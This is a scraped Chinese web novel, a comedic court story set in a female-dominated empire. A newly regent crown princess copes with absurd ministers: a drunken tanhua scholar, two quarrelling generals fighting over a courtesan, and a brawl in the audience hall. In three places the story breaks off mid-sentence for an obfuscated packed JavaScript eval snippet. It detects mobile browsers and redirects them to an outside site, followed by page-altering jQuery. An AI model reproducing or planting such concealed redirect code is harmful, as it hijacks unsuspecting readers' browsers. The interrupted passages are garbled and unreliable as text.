《太女监国,在线崩溃(女尊)》
1. 上朝吗?有点意思
坏消息:穿越了,还是古代
好消息:是女尊,还是皇家
顾承乾刚出生,耳边回荡的就是此起彼伏的“恭喜陛下”,紧接着,是母亲爽朗大方的“赏”,还有温柔小意,叩谢君恩的世家子父亲。她知道,这辈子算是有了。
一岁被封太女,自三岁起,顾承乾熟读经史,勤加习武,只等着什么时候轮到她指点江山。
而现在,机会来了。
壮得能一拳打死一头牛的母皇,突然称病卧床,一道懿旨,让她这个太女监国。
虽然免不了担心母皇,但当她身着繁复庄重的朝服,在众臣的注视下,踏进宣政殿的那一刻,顾承乾心里还是不可避免的充满豪情。
大女人当如是也!
她稳坐龙椅身侧的监国宝座,轻甩袖口,身旁内侍官立刻朗声开口:
“众卿家,有事启奏——”
殿中不可避免的寂静了一瞬。
下一刻,御史台一位面容刚毅,三十岁出头青年御史大步出列,声如洪钟:
“臣严诉,弹劾新科探花李焕!”
寻声看去,顾承乾心中一定。
来了来了,终于来了。
在穿越前,顾承乾本人看过包括但不限于《××计》、《某兵法》、《某某演义》等权谋小说,对于这种事也算得上纸上经验丰富。
严诉是御史世家,算得上老牌清贵世家,而李焕是前些日子刚刚考上的新晋探花,属于新兴寒门贵女。
世家和寒门,算得上是老生常谈的权谋问题,如今严御史率先开团,正是打压新贵,开启党争的序幕啊。
她精神抖擞,心中跃跃欲试,隐藏在袍子下的腿恨不得站起来,但面上依然保持着泰山崩前面不改色的沉稳,不动声色开口。
“严卿细说。”
严御史看向站在角落,低着头不言语的李探花,不由得悲从中来,痛心疾首:
“李探花昨日宴席之上,言语轻佻,举止粗鄙无礼,有辱斯文,实在有损朝廷颜面啊!”
说到伤心之处,严御史甚至落下两滴眼泪。
“殿下,她可是朝廷命官,新晋探花,如此行径,成何体统啊!”
顾承乾轻咳两声:“严大人说的是,但李探花正是年轻气盛,又恰逢这人生四喜得其二,酒后失言,也是人之常情。”
小李探花二十出头,寒窗苦读十数年,如今不仅成了探花娘子,还娶了尚书幼子,洞房花烛夜遇上金榜题名时,还不让人高兴不成?
这严御史的攻击力不强啊。
顾承乾有些乏味,如果都是这样的招数,未免有些太无趣了。
“哎呀,殿下,她——”严御史欲言又止,最后还是挥了挥袖子,一脸恼怒的看向小李探花:
“你自己和殿下说,你都干了些什么‘好事’!”
被御史这么一指,小李探花也是委屈的很:“殿下,严大人着实是冤枉臣了。”
“臣自知所为算不得光彩,但也却非臣本意,还请殿下和严大人听臣细讲。”
十几年寒窗苦读,为了出人头地,光耀李氏门楣,小李探花可谓是下尽了功夫,如今一朝出头,喜迎高门贵子,自然是春风得意,与同门师姐妹多喝了几杯。
酒过三巡,宴会过半,老大人们该走的走,该谈论政事的三三两两聚在一起,她们这附近又没外人,谈论的话题也就多了起来,不知怎么的,她的嫡亲师姐王侍郎突然感叹了起来。
说:小李探花苦尽甘来,如今立了业也成了家,软香玉在侧固然美好,却也万万不能沉溺于此,有了侍君就忘了师姐妹,该出来相聚还是要聚的。
她哪里能听的了这话,立刻应声,道“姐妹如手足,男人如衣服”,绝不会因衣服而弃手足。
师姐这么一听,那能对劲吗。
见过没有手足的女人,但哪有不穿衣服的!
她当下生气,指责起小李探花敷衍。
酒迷人智,花迷人眼。小李探花也是被酒精蒙蔽了理智,也激动了起来,叫嚷着让她今天就瞧一瞧到底有没有不穿衣服的,就一把扔下了新娘官的帽子。
然后……
“停停停停停——”
顾承乾额角青筋直跳,这时候也顾不得自己可靠太女的人设了,连忙起身,制止了还要继续说下去的某女。
“不用继续说了,不用说了,我已经了解了!”
再说就不能播了喂。
“小李探花师从何人?”
这是谁的部将,竟然如此英勇,更可怕的是这样的人才,一次性出了两个,还都在她们家。
“家师李儒孝。”小李探花老实回答。
顾承乾:……
她看了看一脸无辜的小李探花,又瞧了瞧好似十分可靠的王侍郎。
呵,这就是大儒之徒吗,有点意思!
不过她倒是没有听说过,王侍郎师竟然从李儒孝,为什么隐瞒这个消息呢。
顾承乾心里怀疑,但面上不显,甚至还笑了一下:“竟是李师高徒,也难怪探花娘子年少有为了。”
为了证明手足重于衣服,当场就论证了不穿衣服的可能性,多么富有行动力和创造力,有为啊有为,太有为了。
还好当年李儒孝还没成为天下第一儒,给顾承乾开蒙的老师也不是她,万幸万幸。
顾承乾心里庆幸,但面上自然不会显露,始终保持云淡风轻之态,而小李探花见顾承乾似乎没生气,只以为她是理解自己,瞬间眼睛一亮:
“殿下圣明!正是因为恩师教导,臣才能有今日,故此臣每每行事之前,都会质问自己可有忘了她的教诲。”
“故此臣绝非有意失仪,实乃师姐相激,酒意上涌,不得已而为之!”
一旁的王侍郎一听,这还得了,师妹还要把锅扣她头上了,当下出列,嗓门洪亮:
“殿下!臣绝非胡搅蛮缠之人,只是担心师妹沉溺新婚,荒废了学问与同门之谊,这才出言告诫,是她自己脾气暴躁,做事不计后果!”
她说着,还颇有些恨铁不成钢的瞪了一眼小李探花,当然,李焕也没落后,直接瞪了回去。
“我看是师姐自己沉溺后院情事,荒废正事,这才想的起来告诫师妹吧!”
话音落下,朝堂之上顿时电闪雷鸣,火花四射,一个个的那叫一个气势磅礴,完全看不出是年龄差不了多少师姐妹。
顾承
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745134|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乾:……
她算是看明白了,她要的党争序幕没开场,大型师门内讧现场倒是开展的如火如荼。
她深吸一口气,决定快点解决这场闹剧。
“好了,此事孤已明了。”她看向严诉,“严御史恪尽职守,弹劾无误,李探花殿前失仪,确有其事。”
严御史面色稍霁,对顾承乾拱了拱手,同时,也对着那对儿不敢说话的师姐妹颔首,心情十分美丽。
和她不一样,小李探花她们两人的表情就不太好了。
实话讲,她俩虽然是嘴上都义正言辞的,但光彩不光彩的,她们可是读书人啊,她们能不清楚吗!
两人同时站好,刚刚还吵得天昏地暗的两人,现在默契到连低头的弧度都一样,看的人想笑。
居高临下的看着这一幕幕,顾承乾心里发笑,就连说话间也带了几分笑意:
“然事出有因,念在李探花初入朝堂,年轻气盛,加之同门戏言,才酿此笑话。罚俸三月,小惩大诫,还望李卿日后吸取教训,谨言慎行。”
小李探花松了口气,三个月而已,还好还好,她家小郎君的嫁妆够多,她不用靠俸禄过活。
“臣领罚,谢殿下开恩!”
“还有王侍郎……”
顾承乾目光转向这位始作俑者。
此时她见师妹没受罚,刚刚放下一口气,两人还在偷摸瞪眼呢,如今被顾承乾这么一叫,竟然是打了个激灵,差点蹦起来。
顾承乾,忍住,不能笑,你的气魄,你的气度,你可是皇太女,你可以的!
太女凭借毅力,堪堪忍住,继续开口说道:
“关心同门是好事,然方式欠妥,引得朝堂哗然,亦有过错。便罚你将《礼记》抄录三遍,好好体味何为礼。”
“抄完之后,把此事完完整整的记下来,同抄写一同送给李师送去过目吧。”
教出这样的学生,也不能光让她愁挺,也得让她们的老师头疼头疼吧!
闻得抄完书还要上交,王侍郎立刻脸一垮。
她为什么这么多年,一直没说过自己的老师是谁,就是因为当年出师的时候,她就再三叮嘱,以后招惹祸患,不要说她是谁的徒弟。
虽然自觉乖巧懂事,但老师说了她也乖乖遵守,如今被人发现了不说,还要抄写送回去,她算是丢人丢到家了。
但没办法,谁让她喝酒误事呢,也也只能老老实实的应下了:
“臣遵旨。”
终于解决完这桩让人哭笑不得的弹劾案,顾承乾也是心累不已,坐会自己的座位上,挥了挥衣袖,身旁侍奉的内侍官立刻开口:
“退朝——”
终于心累大于身累的太女殿下,结束了一场完全不符合预期的朝会。
沐浴更衣过后,顾承乾简单的翻看了两眼奏折,今年哪里的瓜长的最大,哪条河的鱼最多,哪个州郡老人年龄又破记录了……
这些繁琐小事她越看心里越浮躁,火气上涌,让她有些坐不住。
“啪——”
把这道请安折子扔在桌子上,顾承乾终究还是忍不住起身。
“来人,摆驾乾安殿。”
她应该去看看母皇。
2. 治大国如烹小鲜
乾安宫,皇帝寝殿。
龙纹凤状的香炉静静的燃烧,袅袅白色烟雾在空中缓缓铺开,微苦微涩的气息随之弥漫开来,似是檀香,又像是药渣的味道。
“陛下~”橙色宫装的男子蓦然起身,缭绕在他周围的雾气瞬间弥散。
只见他双颊微红,有些嗔怪的看了一眼坐在椅子上的女子。
身着玄色长袍的女人大笑出声,朝年轻男子招了招手,男子跪坐在地,脸伏她的腿边,任由苍老粗糙的手在他细腻的脸蛋上摸索。
沧溟帝顾启朝,四十岁得长女顾承乾,如今已年近六十,但不妨碍她喜欢年轻鲜嫩的小郎君。
“怎么,生气了,觉得朕老了,不能满足你?”
皇帝的声音没有轻柔温和,似乎只是单纯的疑惑,但伏在下首的侍夫却不敢放肆,猛地抬起头,跪着向后移了两步,重重的磕在地上。
“臣侍绝无此意,只是陛下尚在病中,还请陛下以龙体为重,否则,臣侍纵然万死,亦难赎罪啊!”
顾启朝神色莫名,低头看着瑟瑟发抖的小郎君。
良久,她起身将他搀扶起来,温和的拍了拍他的肩膀。
“和你开个玩笑,瞧瞧把你吓得。”他的手指轻轻的划过他干涸的泪痕,触到了他眼尾刚刚落下泪水。
“可怜见的,陪我这么个老太太,也是难为你了。”
他乖巧的靠在了女子的肩膀上,声音带着几分哽咽,似是受了天大的委屈。
“臣侍不可怜,只要陛下不怀疑臣侍的真心,臣侍就是此刻死了也值得了。”
“说什么傻话,你还这么年轻,什么死不死的。”
“朕从不怀疑你的真心。”两人又恢复了柔情蜜意,皇帝的手在小侍夫腰间摩搓着,脸靠近他光滑修长的脖颈,“你好好的瞧瞧,朕到底像不像是在病中……”
香炉里的香燃了一块又一块,一块将要燃尽,就有人凑上来添了另一块,上空的白色烟雾安心的散开,静静的占领了整个房间,最后停在床前。
白皙胳膊搭在床边,露出一节细腻的手腕,朦胧的纱帐里,传出年轻侍夫甜腻的情话,和让人脸红心跳的夸奖,满室旖旎。
直到门口的内侍官急匆匆走来:
“陛下,陛下不好了,太女殿下来了!”
此言一出,原本懒洋洋的躺着的皇帝一跃而起,也顾不上体贴自己年轻貌美的小侍夫,慌忙的抓起衣服往他身上扔。
“快快快,穿完了赶紧走!被太女发现就完了!”
说完,也顾不管小美男怪异的目光,急匆匆的给自己穿上了衣服,一把将窗帘打开。
“陛下!”穿衣服穿到一半的小侍君慌乱的去抓被子,试图把自己盖住,被顾启朝一把拉开。
“有时间喊不如快点穿衣服走人,朕的爱卿不会看你,但你要被太女看到了半点衣角,朕保证,你再也不会让别人看到了。”
帝王的语气里尽是威胁,小侍夫只能沉默着三下两下穿好繁琐的衣服,被一旁低着头不敢说话的内侍官领着,从后门被送了出去。
直到彻底离开了乾安宫,他才敢哭出声来。
另一边,乾安宫内一片热火朝天。
“快快快,朕的药碗拿过来!”装着些许残渣的药碗出现在桌面上,充当着皇帝老实喝药的证明。
内侍官们有条不紊的处理了现场,香炉里带着药渣的香料,也成了单纯的香料,燃尽的药渣被完好的收走。
躺在床上的皇帝不时的往外探头:“快快,殿下到哪了。”
“殿下进宫门了。”
“已经殿下迈进乾安宫了!”
“太女殿下脚步很急,好像不太开心。”
内侍官们一个个的把消息传进来,到了顾启朝耳中的时候,顾承乾已经看到了乾安殿的牌匾。
“唇霜,快,朕的唇霜。”
耳尖的顾承乾眉头微动,她刚刚似乎是听到了什么什么声音?
“臣等参见太女殿下,殿下万安!”
不等顾承乾细想,内侍官请安声打乱了她的思绪,纵使是有什么声音,也被她们遮盖了过去。
顾承乾眉头一挑,点头示意自己听到了她们的请安。
乾安殿内药香弥漫,却并不显得沉闷。
顾启朝安安静静的躺靠坐在柔软的引枕上,唇色苍白,脸色红润,额上覆着一层细密的汗珠,鬓间丝丝缕缕混着黑发的银发,被汗水浸湿,显得有些凌乱。
是发烧了吗?
顾承乾伸手,轻柔的挑起她脸上的发丝,夹在耳后,手背覆在她的额上。
凉的?
太女皱起眉头,一脸狐疑的看着自己的母皇,从额头看到鼻子,最后停在她的嘴角。
它看起来并没有生病之人该有的干燥。
顾承乾迟疑了一下,手指向下移动,逐渐靠近皇帝苍白的唇。
就在她即将碰上的那一刻。
“是乾儿吗?”顾启朝幽幽转醒,双眼迷蒙,挣扎着要坐起身。
顾承乾哪里还顾得上怀疑,连忙俯身,伸手去搀扶她的肩膀。
“可是孩儿吵醒您?” 把床边的软垫拾起,自然的放到了顾启朝背后,顾承乾伸手帮她提了提被子。
感觉到女儿的担心,顾启朝心下一暖,握住了面前的手,拍了拍床边。
“娘躺了一天,本来也该醒了,乾儿来的正好。”
顾启朝的声音带着几分沙哑,似乎是因为病中,顾承乾免不了对自己刚刚都怀疑升起几分愧疚。
“来人,给陛下倒水。”顾承乾顺着母亲的意思坐在了床边,用袖口轻轻的为她擦拭着额角的汗珠,一只手被她握住,另一只手接过了内侍官递过来的茶杯,试了试水温。
“母皇,喝点水吧。”
顾启朝一脸笑意,探过头,顺着顾承乾的力道,把杯里的水一饮而尽,满足的靠了回去。
“乾儿今日初次监国,感觉如何,大臣们可还得力?”
提起母皇的那群大臣,顾承乾一个手滑,手里的杯盖掉了回去,发出清脆的响声。
内侍官连忙接过茶杯,小心翼翼的放了回去,生怕这位太女把这个最后的茶杯给毁了。
这可是最后一只了,孤品啊。
顾承乾自然是不知道内侍官这些细腻的小心思,嘴角微不可查地抽动了一下,斟酌着词句,尽量客观地用了一个形容词。
“大人们……很特别!”顾承乾重重的点了点头,试图让自己的话显得更可信。
说着,她细细的给顾启朝讲述起了朝堂上的事情。
说实话,她觉得今天朝中的大臣们都在演她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745135|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
竟然拿那样的事情让她解决。
是不是欺负她年纪小,特意演这样的戏来骗她,然后把重要的事情隐藏起来,想趁乱夺权啊!
越想越觉得有道理,顾承乾一边讲述,一边小心观察着母皇的神色。
出乎意料的是,母皇并未动怒,甚至在听到小李探花惊天地泣鬼神的论证时,唇角还微微上扬了一下。
“当初殿试的时候我就看出来了,这小李探花呀,有一套完整的逻辑,胆大心细,敢为人之不敢。”
顾承乾沉默了。
如果没看错,她娘竟然还很欣赏,这是朝堂啊,跟个草台班子似的,她娘还不着急。
“哈哈哈哈——”
“看来,朕的乾儿今日是开了眼界了。”顾启朝语气里满是笑意,调侃的看着年轻的继承人。
“母皇!”
顾承乾终于忍不住,问出了心中的困惑,“您就不觉得,这些事情很荒唐吗?儿臣本以为……”
“本以为会是党同伐异、机锋暗藏的戏码?”女帝接过她的话,了然地笑了笑。
“乾儿啊,你读的那些书,告诉你帝王之术在于平衡、在于制衡、在于权谋,这没错。”
她顿了顿,目光投向窗外明媚的春光,声音温和却带着一种历经世事的通透:“但那些是手段,是用于非常之时。而更多的时候,治国理政,面对的就是这些看似上不得台面,也不一定会被记录下去的琐事。”
“李探花年轻气盛,虽行为失当,却并非大奸大恶,千百年以后,留在史书上的也只会是她能臣的美名。”
“闹出些笑话很正常,要做的是透过这些笑话,看到背后的事情,朝堂是否依旧在运转,朝臣有没有因私废公,边境是否安稳,百姓是否安居……”
“只要大局无碍,臣子们有些无伤大雅的小毛病,由着她们去便是。”
“治大国,”顾启朝收回目光,深深看向女儿,“有时候,还真如烹小鲜一样,火候到了,味道足了,些许杂音,就当作调味便可。”
官员们能够有时间做这些事,不就是因为政局稳定,臣子没有太大的野心,互相之间和睦友好吗?
奏章上,没有出现天灾,没有出现人祸,有时间向她请安,只有闲心去比谁家老人的年龄最大,哪个瓜结的最好……
风调雨顺,百姓和乐富足,这应该是一个统治者最乐意看到的和乐景象。
但……
怎么可能呢?在她所了解的历史里,手足相残、父子相疑、夫妻离心、君臣反目、党争伐异……
这些例子比比皆是。权利就会让人上瘾,财富就是动人心弦,不都是这么争来争去的吗。
虽说这里的历史确实不甚相似,这样的事记载的不多,但那说不定只是因为记的少,毕竟五千年的历史和一千多年还是有些区别的。
总之,她更倾向于这些人是有什么阴谋,想要趁着母皇重病,她经验不足的时机以大欺小。
从乾安殿出来,顾承乾的心情略微沉重,她抬头看了看湛蓝的天空,长长舒了一口气。
虽然在母皇的眼里,她们一个个都是能臣干将,但她可不这么觉得,就让她来好好的会会这帮人吧。
回到东宫时,暮色已至。
书房内,一盏灯火早已亮起。
3. 摆两颗白菜,直接开张!
谢青珏,她母皇挑挑拣拣,选了十年才给她选出来的太女夫,名门贵族、端庄守礼、秀外慧中……
而此刻,他正手持书卷,安静的坐在灯下,听到脚步声,惊喜的抬起头,露出温润的笑容,起身相迎。
“殿下回来了。”他声音柔和,如同春风从耳旁拂过,不会让人有半分的不适。
“您今日辛苦了吧?”
他看着顾承乾,目光清澈,很有分寸的没去询问朝堂细节,递上一杯刚好能入口的温茶。
顾承乾接过茶盏,余光里能够看到他在灯光下显得格外清雅的眉眼,心中蓦地一软。
幸好,就算朝堂再荒诞,至少在她下朝之后,还能有一个正常的太女夫。
顾承乾将杯中茶水一饮而尽。她确实有点渴了。
“母皇病重,都是我分内之事,倒是你,和父亲一同协理后宫,可有哪个侍夫刁难你?”
今日是她们婚后的第七天,说来也巧,她刚刚放完婚假,上个月还要吵着要去射虎的母亲就恰好病了,轮到顾承乾来监国。
于此相对的,太子夫也被皇夫,就是顾承乾的父亲召去学管理后宫了。
实话说,顾承乾觉得,与她这种坐拥江山,要继承家业的人相比,她家小谢确实比较辛苦。
毕竟江山都不是他继承。
谢青珏自然不知她的想法,听见妻主关心,眼睛一亮,目含秋水,心下具是感动。
“皇父很照顾臣侍,父君们也都很友善,妻主不必担忧。”他的手指缠在了顾承乾的腰带上,轻轻拽了两下,有些羞涩的侧过头,修长白皙的脖颈就这样露了出来。
毫无疑问,这是一种近乎于明示的意思。对于这种家教森严的世家郎君,这种举动他也是下了很大的决心,做人家妻主的,要是没点反应就不像话了。
但是!
“那就好。”顾承乾像是什么都没看出来一样,牵住谢青珏的手,把他按回椅子上,拍了拍他的肩膀。
“我在勤政殿批了一下午的奏折,今天就不看书了,你看完记得早些睡,别累到了。”
顾承乾俯身,亲了亲他的额头,在谢青珏震惊的目光中,十分爽快的转身离开,像是一个无能的妻子。
“殿下……”
谢青珏呆愣愣的起身,站在原地,试图伸手挽留她的右手紧紧的攥在了一起,死死的盯着顾承乾离开的背影。
他不明白,他到底做错了什么!七天了,无论他怎么暗示,妻主就是对他没有兴趣,明明太医的脉案上,妻主一切正常啊。
是不喜欢他吗?
谢青珏无力的坐回椅子上,愣愣的看着门口,默默的流起了眼泪。
而另一边,逃跑的顾承乾也是悄悄擦了一把冷汗。
当然不是她无能,主要是她的小夫郎才十七,虽然说这里男子15成年吧,但事情不能这么算。
反正她现在下不了手,好歹也要等到他成年吧,反正也没几天了。
“晓昭!”
“诶,殿下,臣在呢。”
顾承乾走出书房,太女的内侍官立刻迎了上来,紧紧的跟在她后面。
“王侍郎师从李孝孺,你去查查,为何从未听她说过。”
晓昭一愣。
显然,有个名师不是什么见不得人的事,尤其是当她有个天下第一儒当老师的时候。反正如果是晓昭自己,她不说是时常提在嘴边,也肯定不会毫无消息。
“是!”晓昭应下此事。
年轻自律的太女保持健康的好习惯,因为白天久坐,睡前甚至还多舞了套枪,这才早早的抱着小夫郎老实入睡,很快就睡沉下去。
年轻的太女夫依旧不理解,明明太女每日都会和他同床,为什么就不动他呢,难道是毫无感觉?
到底为什么呢,是他太保守无趣?
在寂静的房间里,太女夫又愁到了半夜,而在另一边,美好的夜间生活才刚刚开始。
怡红院,全京城最大的花楼,里面的漂亮郎君多的是,清冷的、活泼的、温柔的、娇俏……总之是各种类型应有尽有。
京中达官显贵多爱来此,但皇帝不喜这般场所,曾说过他们这种境地是她当皇帝的失职,她深表痛心。
皇帝都这么说了,但凡脑子正常的朝臣都不敢,至少明面上不敢出入烟花之地。
但凡事总有特例。
皇帝在养病,被关久了的烈马一时间没人看着,自然也迫不及待的想要外面撒欢了。
怡红楼大厅。
“程蛮子,你欺人太甚!明明是我先看中柳郎,怎的你偏偏非要横插一脚!”
被骂的程姓人毫不示弱:“放屁!狗爹养的傅泼妇,你讲不讲道理。柳郎欣赏我的英武,你非要死缠烂打缠着他不放!”
“你个横行霸道的乡野泼皮!”
“你——”
傅将军出身草莽,算得上是乡野泼皮,但她也是读过书,甚至招安了以后,还考上了秀才,哪里能找得到反击的词语,最后涨红了脸,想也没想就吼了出去。
“你生不出闺女——”
“姓傅的,今天不打服你老娘跟你姓!”
程将军立刻炸了锅,喊打喊杀的朝着傅将军冲了过来。此时此刻,傅将军也知道自己说错了话,但既然已经说出口,那她也就不可能再收回了。
“哼,跟我怕你似的!”
都是朝廷命官,都是正直壮年的女人,一个小小的花楼能做什么,桌椅被翻倒,酒水洒了满地,胆小的郎君们只能尖叫出声,四处找人帮忙。
而其他来喝酒的娘子不仅不劝,甚至还乐呵呵的抱着小郎君给她们腾地方,开始你一声我一声的喝彩了起来,场面一度混乱不堪。
直到他的出现。
“柳意半生飘絮,如今好不容易寻得一隅容身之所,两位将军口口声声说对柳意有情谊,却又如此作践于我,是要等柳意死了,才肯罢休不成!”
男子穿着青色长袍,身形纤长,风姿清雅,白玉似的人儿眼中含泪,似是千万委屈在心头,但脊背却挺的比直,更衬得他如同飘摇风雨中的蒲草,让人唯恐一阵风就把他给吹折了。
而他话语里的决绝,更是让人心都跟着提了起来。
“柳郎!万万不可啊——”傅将军也顾不得和人打架了,率先收手,急忙上前,想把他拥入怀中,却被程将军一屁股挤到了身后。
“是姓傅的狗东西混账,你可莫要做傻事啊!”
柳意目光在两人脸上扫过,随后又环视了一下被打翻的桌椅,最后把目光停滞在了虚空某一点,露出一抹凄惨的笑,两道泪水无声滑落:
“两位将军皆是国之栋梁,柳意蒲柳之姿、无才无德,今日之事若是传了出去,伤柳意的颜面是小,若是二位将军的名声因柳意而受损,柳意百死莫赎!”
他句句自责,字字恳切,毫无私心,只在为她们二人名声而担忧,世上有这般重情重义的郎君。
原本还在打眉眼官司的两人立刻偃旗息鼓,满眼的愧疚和心疼。
“柳郎别怕,有我在,姓程的伤不得你!”
程将军立刻炸锅:“姓傅的,你叽叽歪歪什么呢,我和柳郎情投意合,我怎么可能伤害柳郎!”
“呵,到底是不是单相思,某些人自己清楚。”
“你……”
眼见两人又要吵起来,柳意心里不耐,但动作还是大了一些,拿起绢帕,借着擦拭泪痕的动作,视线微不可查的在两人身上划过,见两人目光移了过来,心下满意,声音也柔和了下来。
“二位将军莫要为了柳意而争吵!”
“程将军豪迈仗义,曾言要为柳意赎身,觅一处安静宅院。
傅将军也细心体贴,知柳意畏寒,特意为柳意准备了狐皮大氅……二位的情谊,柳意从未敢忘。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745136|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说着,他脸上涌现了愁容,为难的看着二人,让刚刚舒缓了表情的二人也不由得跟着急了起来。
“二位将军皆是柳意敬重之人,若要柳意从中择一,无异于刨心挖肝,实在难以抉择。况且,二位同朝为官,若因柳意而心生嫌隙,耽误国家大事,柳意岂非成了千古罪人?”
“将军,还是忘了柳意吧!”他哑声恳求。
天啊,多么温柔知性、重情重义又深明大义的男子,她们如此让他为难,但他还是处处为他们、为朝廷着想,
程、傅二人闻言,心头又是心疼又是愧疚,瞧着柳意的眼神温柔的不像话。
“柳郎……”程将军语气软了下来,傅将军也面露惭色。
于是,这场闹剧就这样平息了下来,两位将军不仅各自掏光钱袋,赔偿了怡红院的损失,甚至还承担了在场所有人的花销,并再三向柳意保证绝不会再有类似事件发生,这才依依不舍的离开。
走出怡红院,被冰冷的夜风一吹,程将军越想越觉得可气。
若非姓傅的步步紧逼,柳郎怎会无助到想要以死明志?
他在私下里肯定受了不少苦,但又不舍得她担上恶名,只能委屈自己,独自忍受那厮的骚扰。
不仅不敢和她诉苦,甚至还要说这些违心话。
她可怜的柳郎啊……
程将军心里充满了对柳意的怜爱,以及对傅将军的怒火,而同样的,傅将军那边也和她想的差不多。
一定要把他救出来!/他心里有我!
程、傅两位将军分别想到。
——
翌日,宣政殿门前。
这是顾承乾第二天上朝,有了第一天的经验,她自认为自己已经放稳心态,做好了长期奋斗的准备。
不管是不是阴谋,她都已经可以坦然面对。
顾承乾身着太女朝服,步履沉稳,身后内侍官晓昭陪同在侧,勤恳的太女殿下早早动身,提前来了半柱香的时间,此时刚刚准备入殿。
刚刚行至门前,本应该安静的大殿里,传来了阵阵喧哗声。
顾承乾拦住了要通传的晓昭。
宣政殿内。
“傅野人,你竟然还敢出现在我面前!”
顾承乾右眼皮跳个不停,心里预感不妙,而事情的发展甚至比她想象的更糟。
站在门前,凭借良好的视力,她清楚的看到了此时正在对视的两人。
傅将军:“如你这般自以为是,罔顾小郎君意愿之人都敢出门,我行的正做的直,为何不敢上朝!”
“我呸!这么不要脸的人分明是你吧!”
“你——”
话音落下,也不知道是谁先动起了手,只听“砰”“砰”几声,两位身经百战的将军,竟然在宣政殿内、在文武百官、众目睽睽之下扭打在了一起。
两位将军皆是勇猛无畏之人,如今打起架来,霎时间,整个宣政殿内拳风凛冽。
谁都不能带武器,因此两人打的也是尽兴,拳拳到肉,毫不留情。
周围文官员们惊呼着退开,直骂他们有辱斯文,武将们一个挨着一个,根据支持的对象,分为两派,举手为号,左手支持程将军,右手支持傅将军。
整个大殿,只要再摆上几颗白菜,就可以开张做生意了。
小李探花从边角走了出来,她认为程将军肯定会胜,因为他姓程,一听就能成事,而傅将军一听就要落败。
她想根据谁能赢坐庄开个局,赚点银子补贴家用,免得只能靠夫郎的体己钱度日。
自来熟的跨住了一个将军的肩膀,小李探花的手上又多了一袋银子,正寻摸着下一个目标,眼睛那么不经意的一瞥,隐约看到一抹亮眼的明黄色。
小李探花攥紧了手里的钱袋,僵硬的转过去。
太女殿下靠在门框上,笑着和她打了个招呼,而她身旁的内侍官,头低的就差埋进地里了。
4. 青楼好啊,清净的很
“参见太女殿下!”
探花不愧是探花,不仅反应快,而且还很讲同僚情谊,见了太女,立即出声提醒,顺手把钱袋子稳稳的收了起来。
太女来了,二位将军不分输赢,所以庄家通吃!
“臣等见过太女殿下!”
原本嘈杂的大殿之内,瞬间寂静一片,众臣理衣服的理衣服,顺头发的顺头发,如果忽略脸上暂时消不了的红晕,倒也像是一群沉稳的名臣。
忽略不了一点哈。
顾承乾面沉如水,视若无睹的从行礼的众臣之间掠过,明黄色的太女朝服在眼前疾驰而去,被晾在一旁的朝臣不敢擅自起身,只得保持着弯腰行礼的姿态。
坐在上首监国宝座上,太女的目光稳稳的停在了程、傅两位将军扔下的外衫上。
傅将军把头埋得更低了一些,而程将军则是悄悄的伸出腿,脚踩着衣服,把它够了回来,随即掩耳盗铃的踢到了傅将军身后。
“呵!”
顾承乾气笑了。
“孤竟不知,宣政殿何时成了菜市场,怎么,两位将军的生意不错吧!”
周边小国被她娘打了个遍,如今边关无事,各位将军确实闲了点,但当众打了起来……
顾承乾大脑飞快运转。首先排除二人智商太低,沉溺于儿女情长,毕竟这种原因太扯了。
她们应该是故意如此。
一是有意试探她这个太女的性格,看她会怎么处理;二是伪装成不合的表面,暗地里勾结在一起。
如果是第一种情况,那只能说明她这个太女还不被信服,但如果是第二种情况,那事情可就糟了。
武将勾结在一起,是要篡位夺权吗?
想到这里,顾承乾热血上涌,全身上下每一个毛孔都在叫嚣着,催促她快点出招回应。
她深吸一口气,告诉自己要冷静,目光扫过下首二人,尚未说话,先是挥了挥袖子,内侍官立刻传令让众臣起身,只剩下两位将军依旧。
“程将军,傅将军。”顾承乾的声音平缓,“您二位可真是好兴致,好体魄啊。看来是边关无战事,一身武艺无处施展,非要在这宣政殿上,在满朝文武面前活动活动筋骨,让孤这么个久居深宫,没什么见识的太女也开开眼?”
太女一掌拍在扶手上,两位将军立刻跪地:“微臣惶恐!”
程将军脖子一梗,想要辩解,被旁边的傅将军偷偷拽了下衣角,就悄然闭了嘴。而傅将军则是硬着头皮,俯身在地。
“殿下息怒,是臣……臣与程将军因一些私事,一时情急,未能克制,扰乱了朝堂秩序,请殿下责罚。”
“私事?”
坐在上首,把两人的小动作看了个全的顾承乾眉梢微挑,身体微微前倾,不着痕迹的眯了眯眼。
“倒是不知是何等要紧的私事,能让两位国之柱石,在众目睽睽之下,急不可耐地要在此处以武会友啊?”
